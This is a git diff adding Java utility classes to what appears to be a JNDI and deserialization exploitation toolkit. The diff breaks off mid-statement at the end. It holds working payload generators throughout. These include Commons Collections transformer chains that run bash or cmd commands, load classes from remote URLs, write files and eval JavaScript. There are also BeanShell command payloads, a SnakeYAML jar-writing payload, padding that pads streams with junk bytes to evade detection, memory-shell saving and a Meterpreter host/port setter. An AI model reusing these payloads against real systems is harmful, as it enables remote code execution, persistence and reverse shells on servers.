Serializer(Object object) { + this.object = object; + } + + public byte[] call() throws Exception { + return serialize(object); + } + + public static byte[] serialize(final Object obj) throws IOException { + final ByteArrayOutputStream out = new ByteArrayOutputStream(); + serialize(obj, out); + return out.toByteArray(); + } + + public static byte[] serialize(final Object obj, final ByteArrayOutputStream out) throws IOException { + final ObjectOutputStream objOut; + objOut = new ObjectOutputStream(out); + objOut.writeObject(obj); + byte[] bytes = out.toByteArray(); + objOut.close(); + return bytes; + } + + public static void qiserialize(Object obj, final OutputStream out) throws Exception { + final ObjectOutputStream objOut; + + if (IS_DIRTY_IN_TC_RESET) { + objOut = new SuObjectOutputStream(out); + } else { + objOut = new ObjectOutputStream(out); + } + objOut.writeObject(obj); + } + + + public static class SuObjectOutputStream extends ObjectOutputStream { + + public SuObjectOutputStream(OutputStream out) throws IOException { + super(out); + } + + @Override + protected void writeStreamHeader() throws IOException { + super.writeStreamHeader(); + try { + // 写入 + for (int i = 0; i < Config.DIRTY_LENGTH_IN_TC_RESET; i++) { + Reflections.getMethodAndInvoke(Reflections.getFieldValue(this, "bout"), "writeByte", new Class[]{int.class}, new Object[]{TC_RESET}); + } + } catch (Exception e) { + throw new RuntimeException(e); + } + } + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/SignedObjectUtils.java b/src/main/java/com/qi4l/jndi/gadgets/utils/SignedObjectUtils.java new file mode 100644 index 00000000..d105bd7e --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/SignedObjectUtils.java @@ -0,0 +1,22 @@ +package com.qi4l.jndi.gadgets.utils; + +import java.io.Serializable; +import java.security.*; +import java.security.SignedObject; + +/** + * 二次反序列化 + * + * @author nu1r + */ +public class SignedObjectUtils { + public static SignedObject warpWithSignedObject(Serializable obj) throws Exception { + KeyPairGenerator keyPairGenerator; + keyPairGenerator = KeyPairGenerator.getInstance("DSA"); + keyPairGenerator.initialize(1024); + KeyPair keyPair = keyPairGenerator.genKeyPair(); + PrivateKey privateKey = keyPair.getPrivate(); + Signature signingEngine = Signature.getInstance("DSA"); + return new java.security.SignedObject(obj, privateKey, signingEngine); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/SnakeYamlUtils.java b/src/main/java/com/qi4l/jndi/gadgets/utils/SnakeYamlUtils.java new file mode 100644 index 00000000..935aa174 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/SnakeYamlUtils.java @@ -0,0 +1,60 @@ +package com.qi4l.jndi.gadgets.utils; + +import java.io.*; +import java.util.zip.Deflater; + +import static com.qi4l.jndi.gadgets.utils.Util.base64Encode; + +/** + * SnakeYaml 写入 Jar 包 poc 生成工具类 + * + * @author nu1r + */ +public class SnakeYamlUtils { + public static String createPoC(String srcPath, String destPath) throws Exception { + + File file = new File(srcPath); + long FileLength = file.length(); + byte[] FileContent = new byte[(int) FileLength]; + try { + FileInputStream in = new FileInputStream(file); + in.read(FileContent); + in.close(); + } catch (FileNotFoundException e) { + e.printStackTrace(); + } + byte[] compressBytes = compress(FileContent); + return "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"" + destPath + "\"],false],!!java.util.zip.Inflater { input: !!binary " + base64Encode(compressBytes) + " },1048576]]"; + } + + public static byte[] compress(byte[] data) { + byte[] output = new byte[0]; + + Deflater compresser = new Deflater(); + + compresser.reset(); + compresser.setInput(data); + compresser.finish(); + ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length); + try { + byte[] buf = new byte[1024]; + while (!compresser.finished()) { + int i = compresser.deflate(buf); + bos.write(buf, 0, i); + } + output = bos.toByteArray(); + } catch (Exception e) { + output = data; + e.printStackTrace(); + } finally { + try { + bos.close(); + } catch (IOException e) { + e.printStackTrace(); + } + } + compresser.end(); + return output; + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/StringUtil.java b/src/main/java/com/qi4l/jndi/gadgets/utils/StringUtil.java new file mode 100644 index 00000000..40422be0 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/StringUtil.java @@ -0,0 +1,17 @@ +package com.qi4l.jndi.gadgets.utils; + +import java.io.FileInputStream; +import java.io.IOException; +import java.io.InputStream; +import java.util.Properties; + +public class StringUtil { + + public static String getClassName(String url) { + return url.substring(0, url.length() - 1); + } + + public static String getVersion(String url) { + return url.substring(url.length() - 1); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/Strings.java b/src/main/java/com/qi4l/jndi/gadgets/utils/Strings.java new file mode 100644 index 00000000..790d1dcc --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/Strings.java @@ -0,0 +1,68 @@ +package com.qi4l.jndi.gadgets.utils; + +import java.util.Arrays; +import java.util.Comparator; +import java.util.LinkedList; +import java.util.List; + +public class Strings { + + public static String join(Iterable strings, String sep, String prefix, String suffix) { + final StringBuilder sb = new StringBuilder(); + boolean first = true; + for (String s : strings) { + if (!first) sb.append(sep); + if (prefix != null) sb.append(prefix); + sb.append(s); + if (suffix != null) sb.append(suffix); + first = false; + } + return sb.toString(); + } + + public static String repeat(String str, int num) { + final String[] strs = new String[num]; + Arrays.fill(strs, str); + return join(Arrays.asList(strs), "", "", ""); + } + + public static List formatTable(List rows) { + final Integer[] maxLengths = new Integer[rows.get(0).length]; + for (String[] row : rows) { + if (maxLengths.length != row.length) throw new IllegalStateException("mismatched columns"); + for (int i = 0; i < maxLengths.length; i++) { + if (maxLengths[i] == null || maxLengths[i] < row[i].length()) { + maxLengths[i] = row[i].length(); + } + } + } + + final List lines = new LinkedList(); + for (String[] row : rows) { + for (int i = 0; i < maxLengths.length; i++) { + final String pad = repeat(" ", maxLengths[i] - row[i].length()); + row[i] = row[i] + pad; + } + lines.add(join(Arrays.asList(row), " ", "", "")); + } + return lines; + } + + public static boolean isFromExploit() { + StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace(); + for (int i = 0; i < stackTraceElements.length; i++) { + if (stackTraceElements[i].getClassName().startsWith("com.qi4l.jndi.gadgets.exploit")) { + return true; + } + } + return false; + } + + public static class ToStringComparator implements Comparator { + + public int compare(Object o1, Object o2) { + return o1.toString().compareTo(o2.toString()); + } + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/SuClassLoader.java b/src/main/java/com/qi4l/jndi/gadgets/utils/SuClassLoader.java new file mode 100644 index 00000000..1f71d9ed --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/SuClassLoader.java @@ -0,0 +1,8 @@ +package com.qi4l.jndi.gadgets.utils; + +public class SuClassLoader extends ClassLoader { + + public SuClassLoader() { + super(Thread.currentThread().getContextClassLoader()); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/Util.java b/src/main/java/com/qi4l/jndi/gadgets/utils/Util.java new file mode 100644 index 00000000..8fbbbd2d --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/Util.java @@ -0,0 +1,181 @@ +package com.qi4l.jndi.gadgets.utils; + +import com.qi4l.jndi.template.Meterpreter; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.ObjectOutputStream; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.Random; + +public class Util { + public static String getRandomString() { + String str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < 10; i++) { + char ch = str.charAt(new Random().nextInt(str.length())); + sb.append(ch); + } + return sb.toString(); + } + + public static String getClassCode(Class clazz) throws Exception { + byte[] bytes = null; + if (clazz.getName().equals("com.feihong.ldap.template.Meterpreter")) { + bytes = ClassByteChange.update(Meterpreter.class); + + } else { + bytes = getClassBytes(clazz); + } + + + String result = Util.base64Encode(bytes); + + return result; + } + + public static String getClassType(byte[] bytes) throws Exception { + String result = Util.base64Encode(bytes); + return result; + } + + public static byte[] getClassBytes(Class clazz) throws Exception { + String className = clazz.getName(); + String resoucePath = className.replaceAll("\\.", "/") + ".class"; + InputStream in = Util.class.getProtectionDomain().getClassLoader().getResourceAsStream(resoucePath); + byte[] bytes = new byte[1024]; + ByteArrayOutputStream baous = new ByteArrayOutputStream(); + int len = 0; + while ((len = in.read(bytes)) != -1) { + baous.write(bytes, 0, len); + } + + in.close(); + baous.close(); + + return baous.toByteArray(); + } + + public static String base64Encode(byte[] bytes) throws Exception { + String result; + + try { + Class clazz = Class.forName("java.util.Base64"); + Method method = clazz.getDeclaredMethod("getEncoder"); + Object obj = method.invoke(null); + method = obj.getClass().getDeclaredMethod("encodeToString", byte[].class); + obj = method.invoke(obj, bytes); + result = (String) obj; + } catch (ClassNotFoundException e) { + Class clazz = Class.forName("sun.misc.BASE64Encoder"); + Method method = clazz.getMethod("encodeBuffer", byte[].class); + Object obj = method.invoke(clazz.newInstance(), bytes); + result = (String) obj; + result = result.replaceAll("\r|\n|\r\n", ""); + } + + return result; + } + + public static byte[] base64Decode(String str) throws Exception { + byte[] bytes; + + try { + Class clazz = java.lang.Class.forName("java.util.Base64"); + Method method = clazz.getDeclaredMethod("getDecoder"); + Object obj = method.invoke(null); + method = obj.getClass().getDeclaredMethod("decode", String.class); + obj = method.invoke(obj, str); + bytes = (byte[]) obj; + } catch (ClassNotFoundException e) { + Class clazz = java.lang.Class.forName("sun.misc.BASE64Decoder"); + Method method = clazz.getMethod("decodeBuffer", String.class); + Object obj = method.invoke(clazz.newInstance(), str); + bytes = (byte[]) obj; + } + + return bytes; + } + + public static String shellBase64Decode(String bs) throws Exception { + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception ignored) { + } + } + + return new String(value); + } + + public static byte[] serialize(Object ref) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ObjectOutputStream objOut = new ObjectOutputStream(out); + objOut.writeObject(ref); + return out.toByteArray(); + } + + public static String getCmdFromBase(String base) throws Exception { + int firstIndex = base.lastIndexOf("/"); + String cmd = base.substring(firstIndex + 1); + + int secondIndex = base.lastIndexOf("/", firstIndex - 1); + if (secondIndex < 0) { + secondIndex = 0; + } + + if (base.substring(secondIndex + 1, firstIndex).equalsIgnoreCase("base64")) { + byte[] bytes = Util.base64Decode(cmd); + cmd = new String(bytes); + } + + return cmd; + } + + public static String[] getIPAndPortFromBase(String base) throws NumberFormatException { + int firstIndex = base.lastIndexOf("/"); + String port = base.substring(firstIndex + 1); + + int secondIndex = base.lastIndexOf("/", firstIndex - 1); + if (secondIndex < 0) { + secondIndex = 0; + } + + String ip = base.substring(secondIndex + 1, firstIndex); + return new String[]{ip, Integer.parseInt(port) + ""}; + } + + public static Class getMeterpreter(Class clazz, String host, String port) throws NoSuchFieldException, IllegalAccessException { + Field hostField = clazz.getField("host"); +// hostField.setAccessible(true); + Field portField = clazz.getField("port"); +// portField.setAccessible(true); + hostField.set(null, host); + portField.set(null, port); + return clazz; + } + + + public static boolean isHave(String[] strs,String s){ + + /*此方法有两个参数,第一个是要查找的字符串数组,第二个是要查找的字符或字符串*/ + int i = strs.length; + while (i-- > 0){ + if(strs[i] == s){ + return true; + } + } + return false; + } + +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/Utils.java b/src/main/java/com/qi4l/jndi/gadgets/utils/Utils.java new file mode 100644 index 00000000..1ed26453 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/Utils.java @@ -0,0 +1,190 @@ +package com.qi4l.jndi.gadgets.utils; + +import com.sun.org.apache.bcel.internal.classfile.Utility; +import javassist.CannotCompileException; +import javassist.ClassPool; +import javassist.CtClass; +import org.apache.commons.codec.binary.Base64; +import org.apache.commons.lang.StringUtils; + +import java.io.ByteArrayOutputStream; +import java.io.File; +import java.io.FileOutputStream; +import java.io.ObjectOutputStream; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.lang.reflect.Proxy; +import java.util.Random; +import java.util.zip.GZIPOutputStream; + +import static com.qi4l.jndi.gadgets.Config.Config.*; +import static com.qi4l.jndi.gadgets.utils.Util.base64Encode; +import static com.qi4l.jndi.gadgets.utils.handle.ClassMethodHandler.insertMethod; +import static com.qi4l.jndi.gadgets.utils.handle.ClassNameHandler.generateClassName; +import static com.qi4l.jndi.gadgets.utils.handle.GlassHandler.shrinkBytes; + +public class Utils { + + public static Class makeClass(String clazzName) { + ClassPool classPool = ClassPool.getDefault(); + CtClass ctClass = classPool.makeClass(clazzName); + Class clazz = null; + try { + clazz = ctClass.toClass(); + } catch (CannotCompileException e) { + throw new RuntimeException(e); + } + ctClass.defrost(); + return clazz; + } + + public static String[] handlerCommand(String command) { + String info = command.split("[-]")[1]; + int index = info.indexOf("#"); + String par1 = info.substring(0, index); + String par2 = info.substring(index + 1); + return new String[]{par1, par2}; + } + + + public static String base64Decode(String bs) throws Exception { + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception ignored) { + } + } + + return new String(value); + } + + public static void saveCtClassToFile(CtClass ctClass) throws Exception { + // 总体在进行类字节码的缩短 + shrinkBytes(ctClass); + byte[] classBytes = ctClass.toBytecode(); + + // 保存内存马文件 + if (GEN_MEM_SHELL) { + if (StringUtils.isNotEmpty(GEN_MEM_SHELL_FILENAME)) { + writeClassToFile(GEN_MEM_SHELL_FILENAME, classBytes); + } else { + writeClassToFile(ctClass.getName(), classBytes); + } + } + } + + public static void loadClassTest(byte[] classBytes, String className) throws Exception { + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + Method method = Proxy.class.getDeclaredMethod("defineClass0", ClassLoader.class, String.class, byte[].class, int.class, int.class); + method.setAccessible(true); + Class clazz = (Class) method.invoke(null, classLoader, className, classBytes, 0, classBytes.length); + + try { + clazz.newInstance(); + } catch (Exception ignored) { + Class unsafe = Class.forName("sun.misc.Unsafe"); + Field theUnsafeField = unsafe.getDeclaredField("theUnsafe"); + theUnsafeField.setAccessible(true); + Object unsafeObject = theUnsafeField.get(null); + unsafeObject.getClass().getDeclaredMethod("allocateInstance", Class.class).invoke(unsafeObject, clazz); + } + } + + public static String generateBCELFormClassBytes(byte[] bytes) throws Exception { + return "$$BCEL$$" + Utility.encode(bytes, true); + } + + public static String getJSEngineValue(byte[] classBytes) throws Exception { + if (USING_RHINO) { + return "new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass(\"" + generateBCELFormClassBytes(classBytes) + "\").newInstance();"; + } else { + return "var data = \"" + base64Encode(classBytes) + "\";var dataBytes=java.util.Base64.getDecoder().decode(data);var cloader= java.lang.Thread.currentThread().getContextClassLoader();var superLoader=cloader.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();var method=superLoader.getDeclaredMethod(\"defineClass\",dataBytes.getClass(),java.lang.Integer.TYPE,java.lang.Integer.TYPE);method.setAccessible(true);var memClass=method.invoke(cloader,dataBytes,0,dataBytes.length);memClass.newInstance();"; + } + } + + public static CtClass encapsulationByClassLoaderTemplate(byte[] bytes) throws Exception { + CtClass ctClass = POOL.get("com.qi4l.jndi.template.ClassLoaderTemplate"); + ctClass.setName(generateClassName()); + ByteArrayOutputStream outBuf = new ByteArrayOutputStream(); + GZIPOutputStream gzipOutputStream = new GZIPOutputStream(outBuf); + gzipOutputStream.write(bytes); + gzipOutputStream.close(); + + String b64 = Base64.encodeBase64String(outBuf.toByteArray()); + // 如果 b64 的长度比较大,则将其切分为多个字符串进行拼接,避免单个字符串过长 + String code = ""; + if (b64.length() > 60000) { + String[] arrays = splitString(b64, 60000); + for (int i = 0; i < arrays.length; i++) { + if (i == 0) { + code += "b64=\"" + arrays[0] + "\";\n"; + } else { + code += "b64 +=\"" + arrays[i] + "\";\n"; + } + } + } else { + code += "b64=\"" + b64 + "\";\n"; + } + + // 将赋值的代码插入到 ClassLoaderTemplate 中 + insertMethod(ctClass, "initClassBytes", code); + return ctClass; + } + + public static void writeClassToFile(String fileName, byte[] classBytes) throws Exception { + File file = new File(fileName.replace(".",File.separator)+".class"); + File parentDir = file.getParentFile(); + if (!parentDir.exists()){ + if(!parentDir.mkdirs()){ + // 创建文件夹失败 + return; + } + } + FileOutputStream fileOutputStream = new FileOutputStream(file); + fileOutputStream.write(classBytes); + fileOutputStream.flush(); + fileOutputStream.close(); + } + + public static String[] splitString(String str, int chunkSize) { + if (str == null || str.isEmpty() || chunkSize <= 0) { + return null; + } + int len = str.length(); + int arrayLen = (len + chunkSize - 1) / chunkSize; + String[] result = new String[arrayLen]; + int k = 0; + for (int i = 0; i < len; i += chunkSize) { + int endIndex = Math.min(i + chunkSize, len); + result[k++] = str.substring(i, endIndex); + } + return result; + } + public static String base64Encode(byte[] bs) throws Exception { + Class base64; + String value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", new Class[]{}).invoke(null, (Object[]) null); + value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); + } catch (Exception e2) { + } + } + return value; + } + + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/beanshell/BeanShellUtil.java b/src/main/java/com/qi4l/jndi/gadgets/utils/beanshell/BeanShellUtil.java new file mode 100644 index 00000000..9d5ccc55 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/beanshell/BeanShellUtil.java @@ -0,0 +1,27 @@ +package com.qi4l.jndi.gadgets.utils.beanshell; + +import com.qi4l.jndi.gadgets.utils.Utils; +import com.qi4l.jndi.gadgets.utils.Strings; + +import java.util.Arrays; + +public class BeanShellUtil { + + public static String makeBeanShellPayload(String command) { + if (command.startsWith("TS-")) + return "compare(Object nu1r, Object su19) { return new Integer(1);}java.lang.Thread.sleep(" + (Integer.parseInt(command.split("[-]")[1]) * 1000) + "L);"; + if (command.startsWith("RC-")) { + String[] strings = Utils.handlerCommand(command); + return "compare(Object nu1r, Object su19) { return new Integer(1);}new URLClassLoader(new URL[]{new URL(\"" + strings[0] + "\")}).loadClass(\"" + strings[1] + "\").newInstance();"; + } + if (command.startsWith("WF-")) { + String[] strings = Utils.handlerCommand(command); + return "compare(Object nu1r, Object su19) { return new Integer(1);}new java.io.FileOutputStream(\"" + strings[0] + "\").write(\"" + strings[1] + "\".getObject());"; + } + + return "compare(Object nu1r, Object su19) {new java.lang.ProcessBuilder(new String[]{" + + Strings.join( + Arrays.asList(command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\"").split(" ")), ",", "\"", "\"") + "}).start();return new Integer(1);}"; + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/cc/TransformerUtil.java b/src/main/java/com/qi4l/jndi/gadgets/utils/cc/TransformerUtil.java new file mode 100644 index 00000000..2531c93e --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/cc/TransformerUtil.java @@ -0,0 +1,76 @@ +package com.qi4l.jndi.gadgets.utils.cc; + +import com.qi4l.jndi.gadgets.utils.Utils; +import javassist.CtClass; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InstantiateTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; + +import javax.script.ScriptEngineManager; +import java.io.FileOutputStream; +import java.net.URL; +import java.net.URLClassLoader; + +import static com.qi4l.jndi.gadgets.Config.Config.USING_MOZILLA_DEFININGCLASSLOADER; +import static com.qi4l.jndi.gadgets.utils.Utils.base64Decode; +import static com.qi4l.jndi.gadgets.utils.Utils.handlerCommand; +import static com.qi4l.jndi.gadgets.utils.handle.GlassHandler.generateClass; + +public class TransformerUtil { + + public static Transformer[] makeTransformer(String command) throws Exception { + Transformer[] transformers; + String[] execArgs = {command}; + + if (command.startsWith("TS-")) { + transformers = new Transformer[]{new ConstantTransformer(Thread.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"currentThread", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("sleep", new Class[]{long.class}, new Object[]{Long.parseLong(command.split("[-]")[1] + "000")}),}; + } else if (command.startsWith("RC-")) { + String[] strings = handlerCommand(command); + transformers = new Transformer[]{new ConstantTransformer(URLClassLoader.class), new InstantiateTransformer(new Class[]{URL[].class}, new Object[]{new URL[]{new URL(strings[0])}}), new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{strings[1]}), new InstantiateTransformer(null, null)}; + } else if (command.startsWith("WF-")) { + String[] strings = handlerCommand(command); + transformers = new Transformer[]{new ConstantTransformer(FileOutputStream.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{strings[0]}}), new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{base64Decode(strings[1]).getBytes()}), new ConstantTransformer(Integer.valueOf(1))}; + } else if (command.startsWith("PB-lin")) { + transformers = new Transformer[]{new ConstantTransformer(ProcessBuilder.class), new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String[].class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new String[]{"bash", "-c", base64Decode(command.split("[-]")[2])}}}), new InvokerTransformer("start", new Class[]{}, new Object[]{})}; + } else if (command.startsWith("PB-win")) { + transformers = new Transformer[]{new ConstantTransformer(ProcessBuilder.class), new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String[].class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new String[]{"cmd.exe", "/c", base64Decode(command.split("[-]")[2])}}}), new InvokerTransformer("start", new Class[]{}, new Object[]{})}; + } else if (command.startsWith("SE-")) { + transformers = new Transformer[]{new ConstantTransformer(ScriptEngineManager.class), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new InvokerTransformer("getEngineByName", new Class[]{String.class}, new Object[]{"js"}), new InvokerTransformer("eval", new Class[]{String.class}, new Object[]{"java.lang.Runtime.getRuntime().exec('" + base64Decode(command.split("[-]")[1]) + "');"})}; + } else if (command.startsWith("DL-")) { + transformers = new Transformer[]{new ConstantTransformer(java.net.InetAddress.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getAllByName", new Class[]{String.class}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{command.split("[-]")[1]}}), new ConstantTransformer(1)}; + } else if (command.startsWith("HL-")) { + transformers = new Transformer[]{new ConstantTransformer(java.net.URL.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{command.split("[-]")[1]}}), new InvokerTransformer("getContent", new Class[0], new Object[0]), new ConstantTransformer(1)}; + } else if (command.startsWith("BC-")) { + command = command.substring(3); + String bcelBytes; + + // 对 BCEL 也支持 EX 或 LF 扩展功能 + if (command.startsWith("EX-") || command.startsWith("LF-")) { + CtClass ctClass = generateClass(command); + bcelBytes = Utils.generateBCELFormClassBytes(Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()).toBytecode()); + } else { + bcelBytes = command; + } + + transformers = new Transformer[]{new ConstantTransformer(com.sun.org.apache.bcel.internal.util.ClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new String[]{}}), new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{bcelBytes}), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new ConstantTransformer(1)}; + } else if (command.startsWith("JD-")) { + transformers = new Transformer[]{new ConstantTransformer(javax.naming.InitialContext.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("lookup", new Class[]{String.class}, new Object[]{command.split("[-]")[1]}), new ConstantTransformer(1)}; + } else if (command.startsWith("EX-") || command.startsWith("LF-")) { + CtClass ctClass = generateClass(command); + + if (USING_MOZILLA_DEFININGCLASSLOADER) { + // 使用 DefiningClassLoader 加载,不是所有 JDK 均有 org.mozilla.javascript.DefiningClassLoader + // 在 NC 中可以使用 + transformers = new Transformer[]{new ConstantTransformer(org.mozilla.javascript.DefiningClassLoader.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}), new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{ctClass.getName(), ctClass.toBytecode()}), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new ConstantTransformer(1)}; + } else { + // 使用 ScriptEngineManager JS eval 加载 + transformers = new Transformer[]{new ConstantTransformer(ScriptEngineManager.class), new InvokerTransformer("newInstance", new Class[0], new Object[0]), new InvokerTransformer("getEngineByName", new Class[]{String.class}, new Object[]{"JavaScript"}), new InvokerTransformer("eval", new Class[]{String.class}, new Object[]{Utils.getJSEngineValue(Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()).toBytecode())})}; + } + } else { + transformers = new Transformer[]{new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, (Object[]) execArgs), new ConstantTransformer(Integer.valueOf(1))}; + } + return transformers; + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/cc/TransformerUtil4.java b/src/main/java/com/qi4l/jndi/gadgets/utils/cc/TransformerUtil4.java new file mode 100644 index 00000000..17deb27a --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/cc/TransformerUtil4.java @@ -0,0 +1,46 @@ +package com.qi4l.jndi.gadgets.utils.cc; + +import org.apache.commons.collections4.Transformer; +import org.apache.commons.collections4.functors.ConstantTransformer; +import org.apache.commons.collections4.functors.InstantiateTransformer; +import org.apache.commons.collections4.functors.InvokerTransformer; + +import javax.script.ScriptEngineManager; +import java.io.FileOutputStream; +import java.net.URL; +import java.net.URLClassLoader; + +import static com.qi4l.jndi.gadgets.utils.Utils.base64Decode; +import static com.qi4l.jndi.gadgets.utils.Utils.handlerCommand; + +public class TransformerUtil4 { + public static Transformer[] makeTransformer4(String command) throws Exception { + Transformer[] transformers; + String[] execArgs = {command}; + + if (command.startsWith("TS-")) { + transformers = new Transformer[]{new ConstantTransformer(Thread.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"currentThread", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("sleep", new Class[]{long.class}, new Object[]{Long.parseLong(command.split("[-]")[1] + "000")}),}; + } else if (command.startsWith("RC-")) { + String[] strings = handlerCommand(command); + transformers = new Transformer[]{new ConstantTransformer(URLClassLoader.class), new InstantiateTransformer(new Class[]{URL[].class}, new Object[]{new URL[]{new URL(strings[0])}}), new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{strings[1]}), new InstantiateTransformer(null, null)}; + } else if (command.startsWith("WF-")) { + String[] strings = handlerCommand(command); + transformers = new Transformer[]{new ConstantTransformer(FileOutputStream.class), new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String.class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{strings[0]}}), new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{base64Decode(strings[1]).getBytes()}), new ConstantTransformer(Integer.valueOf(1))}; + } else if (command.startsWith("PB-lin")) { + transformers = new Transformer[]{new ConstantTransformer(ProcessBuilder.class), new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String[].class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new String[]{"bash", "-c", base64Decode(command.split("[-]")[2])}}}), new InvokerTransformer("start", new Class[]{}, new Object[]{})}; + } else if (command.startsWith("PB-win")) { + transformers = new Transformer[]{new ConstantTransformer(ProcessBuilder.class), new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{String[].class}}), new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new String[]{"cmd.exe", "/c", base64Decode(command.split("[-]")[2])}}}), new InvokerTransformer("start", new Class[]{}, new Object[]{})}; + } else if (command.startsWith("SE-")) { + 